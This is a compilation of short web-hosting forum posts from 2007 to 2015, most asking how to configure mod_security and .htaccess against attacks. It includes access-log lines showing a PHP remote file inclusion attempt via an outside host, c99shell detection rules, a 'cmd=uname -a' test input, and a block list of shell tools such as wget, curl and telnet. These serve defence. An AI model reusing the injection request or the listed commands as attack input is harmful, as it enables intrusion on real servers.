Anybody Know How To Block This Specific PHP Inject Attack Using Mod_Security
Jun 17, 2008
how to block the following "WEB-PHP remote include path" attack using mod_security.
I have tried using Default Mod_Securty and also Mod_security from [url]
But it seems that the mod_security did not functioning well in which PHP inject script still able to run on my server.
The following is the WEB-PHP remote include path that i mentioned about taken from the Apache Access log.
=================================
127.0.0.1 - - [15/Jun/2008:15:09:02 +0800] "GET /?path_escape=http://www.m-comp.nl/prive/includes/js/ThemeOffice/fonts.txt%3f%3f HTTP/1.1" 200 3473
127.0.0.1 - - [15/Jun/2008:15:18:30 +0800] "GET /?path_escape=http://www.m-comp.nl/prive/includes/js/ThemeOffice/fonts.txt%3f%3f HTTP/1.1" 200 3473 ....
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Jun 12, 2008
Is there any way to block a particular ISP? Have a visitor that changes IP hourly, but the IP always resolves back to a hostname like dsl.yuns.sksk.uk .
I have CSF installed. Any way to block all visitors from dsl.yuns.sksk.uk?
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Oct 3, 2007
i want to prevent c99shell scripts from running.
I found this rule to detect URI's for the c99 shell.
#new kit
SecFilterSelective REQUEST_URI "/c99shell.txt"
SecFilterSelective REQUEST_URI "/c99.txt?"
My problem is that the hackers are being more stealthy and calling the
script some random name like .../myphpstuff.php. So the URI no longer helps detect it.
How could I detect "c99shell" in the actual file that apache servers? This assumes that the hacker was successfully in installing it.
my box
Apache 1.3.37
WHM 11.2.0 cPanel 11.11.0-R16983
FEDORA 5 i686 - WHM X v3.1.0
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Jul 22, 2008
I just installed mod_security and would like to test some common attack to see if it's blocking it
I tried passing "cmd=uname -a" as parameter to a .php, but it didn't block it
any other test I can try?
I'm using almost all rules from gotroot
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Aug 12, 2007
Anobody knows appropriate rules to block Acunetix scanner to crawl my sites?
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Apr 12, 2009
I am getting a lot of GET requests from different IPs to 4 nonexistent PHP files on my server. Is there any way to block the requests to avoid the resources use of apache that these requests are generating?
I have installed mod_security but Im not sure about how the block rule should be.
The requests are going to images/log.php, images/log2.php, images/log3.php and images/logi.php of one of the sites hosted on the server, is there any way to block there requests for a specific domain or path?
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Mar 18, 2013
I don't know how to block a specific QUERY STRING url via .htaccess file, well actually I want to block this type of url :
test.php?q=RANDOMTEXT=&tl=The%20path%20ends
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May 19, 2014
I'm trying to use spamfilter to block mail from specific address, adding this e-mail to spamfilter in mail account settings, but it doesn't work. In logs I see:
spamc[13430]: skipped message, greater than max message size (256000 bytes).
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Jul 21, 2007
is it possible to block sync attack?
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Dec 5, 2008
My server is under DDOS attack. Its getting more than 1000 SYN_RECV requests. Please let me know how can I protect my server from it.
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Feb 1, 2008
Today i see all sites index i open , if i see code font, have line:
<iframe src="[url]
I see files no edited in hoster.
This cause error in exec scripts php.
What solution? What problem?
Is injection?
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May 20, 2015
I have question: How to redirect specific useragent on specific URLs to specific URLs in .htaccess [Question]
E.g.:
I want to redirect 301 with conditional:
Code:
useragent: Firefox
from my url1: domain[dot]com/old-url1/
from my url2: domain[dot]com/old-url2/
to
Code:
to new url1: in my url1: domain[dot]com/new-url1/
to new url2: in my url1: domain[dot]com/new-url2/
I create this in my .htaccess but not work
Code:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} googlebot [NC]
RewriteRule ^/?this-is-url/?$ domain[dot]com [L,R,NC]
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Apr 21, 2008
I have been using mod_security 1.9.x since it first release on apache 1.3 and apache 2.0.x, rules are great and they work perfect with no issues at all with any php-mysql website. Do you recommend using mod_security 2.0 or 2.5 ? (I do know that 2.5 does not work with apache 1.3).
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Apr 19, 2008
using mod_security, but I believe that I have it installed correctly with some rules that should be generating entries in the security audit log. No matter what I do, I can't seem to get mod_security to generate any sort of log entries.
I am using version 2.1.7. I compiled it with no problems. In my httpd.conf file, I have the following relevant lines:
LoadFile /usr/lib/libxml2.so
LoadModule security2_module modules/mod_security2.so
Include conf/modsecurity/*.conf
I don't think there are any problems here, as I know it is running directives from the configuration file I edited. This is the file I'm working with:
modsecurity_crs_10_config.conf
Here are the relevant lines from the config file:
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On
SecResponseBodyMimeType (null) text/html text/plain text/xml
SecResponseBodyLimit 524288
SecDefaultAction "phase:2,auditlog,log,pass,status:500"
SecAuditEngine On
SecAuditLogType Serial
SecAuditLog logs/modsec_audit.log
SecAuditLogParts "ABIFHZ"
SecRequestBodyInMemoryLimit 131072
SecDebugLog logs/modsec_debug.log
SecDebugLogLevel 3
I know that the config file is being read because when I start apache, the log files (modsec_audit.log and modsec_debug.log) are created. The problem is that the files are empty and remain empty no matter what I do. I have even tried setting permissions on the files to 777.
Here are a couple of rules I created in an attempt to generate log entries:
SecRule REQUEST_BODY "viagra"
SecRule REMOTE_ADDR "^1.1.3.4$" auditlog,phase:1,allow
I put these in the same config file mentioned above. As far as I understand, the first rule should examine the request body (which would include data in POST requests) for the word, "viagra". Since my default action is phase:2,auditlog,log,pass,status:500, such requests should end up in the audit log. However, when I use a form on my site to post the word "viagra", nothing is generated in the log file.
The second rule, as far as I understand, should generate a log entry any time the IP address 1.2.3.4 is sent in the request headers. Instead of 1.2.3.4, of course, I have put in my real IP address. However, when I visit my server and browse pages, nothing is logged. I assume that my requests should generate log entries since I match the IP address.
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Dec 1, 2007
I am currently running a few small websites that use a CMS. Two are Dragonfly and one is Joomla.
I am getting sporadic errors with both systems that, upon research, seem to be related to Apache and the mod_security module. I am getting the following error:
Code:
Not Acceptable
An appropriate representation of the requested resource /somefolder/index.php could not be found on this server.
Well, I'm no idiot (although some people may tend to disagree ) and after some searching, I found that this most likely points to an Apache error. Most solutions suggest to put the following in my .htacess file for the site:
Code:
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
It was noted that "SecFilterScanPOST Off" may or not be necessary. I have added the above to the .htaccess for each site (all 3 sites are subdomains) and have also added it to the .htaccess that is in the root folder for the site. Nothing has worked.
So my question is, is it possible that my webhost can override my .htaacess settings with their own? This is the only explanation that I can think of. But of course, I am no expert, which is why I turn to you good folks for help once again.
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Jul 27, 2008
I want to add some more rules to to mod_security, however I am unsure if some of them are already being used.
So would it cause any problems if there are duplicate rules for the time being till I can check through all the rules?
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Jul 23, 2007
I am having lots of problems installing mod_security on RH5 64 w/ Plesk.
mainly related to apr0, subversion, and the headers.
Any reason why everyone recommends to use version 1.94 of mod_security rather than the latest version available on www.modsecurity.org?
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Oct 2, 2007
I've got this:
mod_security: Access denied with code 406. Error normalising REQUEST_URI: Invalid URL encoding detected: invalid characters used [hostname "www.mydomain.com"] [uri "/search/include/js_suggest/suggest.php?type=query&q=%u062E%u0636%u0631%u0627"]
how to disable/exclude this uri in mentioned host from being catched by mod_security?
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Mar 29, 2007
how many people are actually using mod_security 2 instead of 1?
And why did you choose the version you did?
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Jun 5, 2007
I installed modsecurity from Addone module in Cpanel
When I try to apply phpshell woork good without a mistakes and I can do anything despite of the presence of protection modsecurity and disable_functions in php.ini.
Is there a particular settings add to the httpd.conf to prevent application phpshell or prevent upload it to the site?
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May 11, 2009
I tried using mod_security and mod_filter together. However, when I try to filter js files, I noticed that certain pages stop working, especially those using ajax.
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Jul 24, 2009
I installed Mod_Security on my Cent OS server today and having some problem in configurating it.
Problem -
I have added this module in 'httpd.conf' file
Code:
<IfModule mod_security.c>
SecFilterEngine On
SecServerSignature "Apache"
SecFilterCheckUnicodeEncoding Off
SecAuditEngine RelevantOnly
SecAuditLog logs/audit_log
SecFilterScanPOST On
SecFilterDefaultAction "deny,log,status:403"
SecFilterSelective REQUEST_METHOD "^POST$" chain
SecFilterSelective HTTP_Content-Length "^$"
SecFilterSelective HTTP_Transfer-Encoding "!^$"
SecFilterSelective ARG_PHPSESSID "!^[0-9a-z]*$"
SecFilterSelective COOKIE_PHPSESSID "!^[0-9a-z]*$"
SecFilter "../"
SecFilter "viewtopic.php?" chain
SecFilter "chr(([0-9]{1,3}))" "deny,log"
SecFilterSelective THE_REQUEST "wget "
SecFilterSelective THE_REQUEST "lynx "
SecFilterSelective THE_REQUEST "scp "
SecFilterSelective THE_REQUEST "ftp "
SecFilterSelective THE_REQUEST "cvs "
SecFilterSelective THE_REQUEST "rcp "
SecFilterSelective THE_REQUEST "curl "
SecFilterSelective THE_REQUEST "telnet "
SecFilterSelective THE_REQUEST "ssh "
SecFilterSelective THE_REQUEST "echo "
SecFilterSelective THE_REQUEST "links -dump "
SecFilterSelective THE_REQUEST "links -dump-charset "
SecFilterSelective THE_REQUEST "links -dump-width "
SecFilterSelective THE_REQUEST "links http:// "
SecFilterSelective THE_REQUEST "links ftp:// "
SecFilterSelective THE_REQUEST "links -source "
SecFilterSelective THE_REQUEST "mkdir "
SecFilterSelective THE_REQUEST "cd /tmp "
SecFilterSelective THE_REQUEST "cd /var/tmp "
SecFilterSelective THE_REQUEST "cd /etc/httpd/proxy "
SecFilterSelective THE_REQUEST "/config.php?v=1&DIR "
SecFilterSelective THE_REQUEST "/../../ "
SecFilterSelective THE_REQUEST "&highlight=%2527%252E "
SecFilterSelective THE_REQUEST "changedir=%2Ftmp%2F.php "
# Very crude filters to prevent SQL injection attacks
SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space:]]+into"
SecFilter "select.+from"
# Weaker XSS protection but allows common HTML tags
SecFilter "<[[:space:]]*script"
# Prevent XSS atacks (HTML/Javascript injection)
SecFilter "<(.|n)+>"
</IfModule>
But my website is multi forum hosting and requires 'index.php' file to pass parameter to make it work.
Example -
[url]
[url]
[url]
So i had to delete below mention code from above module.
Code:
SecFilterSelective REQUEST_METHOD "^POST$" chain
SecFilterSelective HTTP_Content-Length "^$"
SecFilterSelective HTTP_Transfer-Encoding "!^$"
SecFilterSelective ARG_PHPSESSID "!^[0-9a-z]*$"
SecFilterSelective COOKIE_PHPSESSID "!^[0-9a-z]*$"
SecFilter "../"
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May 25, 2009
Is it possible to disable a particular mod_security rule for particular directory or the rules are global?
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Aug 15, 2008
I just installed mod_security via WHM, and want to know what rule should I enter to prevent some URLs from being opened.
For example, if URL contains word "abc" (like domain.com/some_folder/abc/file.php), it should not be opened.
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May 20, 2009
I have installed a new server with debian lenny 5, ISPConfig 3.0.1.1 and the newest mod_security and implemented the default rules.
I deactivated the rule detecting IP in pageheaders.
Then I got another problem. Some actions of ISPConfig are detected as "remote file access attempt", severity "critical", tag "web attack/file injection" data "/etc/"
detected by rule file crs_40 line 114, id 950005
question: how do I authorize ISPConfig and only ISPConfig to perform such requests on the server?
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Jun 4, 2008
how to set the rules of MOD_Security.
Another question for professionals:
Q: What are the best rules to secure my server? I'd appreciate if you managed to attach these rules to your replies. // FYI, I host VBulletin portals.
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Dec 24, 2008
Trying to use an RBL with ModSecurity but this matches everything whether listed or not.
SecRule REMOTE_ADDR "@rbl bb.barracudacentral.org" "log,deny,msg:'POST RBL Comment Spammer'"
What I would like to do is do an RBL lookup and any POST operations.
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Feb 25, 2008
make this rules work on apache 2 mod_security 2?
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Dec 17, 2008
Any good secure rules for mod_security 2 that work well for shared servers?
Can someone share what rules you are using to secure your shared servers. Have tried a few different sets of rules, but a few customers always end up with errors and disabling it for their domain name doesn't sound like a safer option for them or the server.
Share your mod_sec 2 rules.
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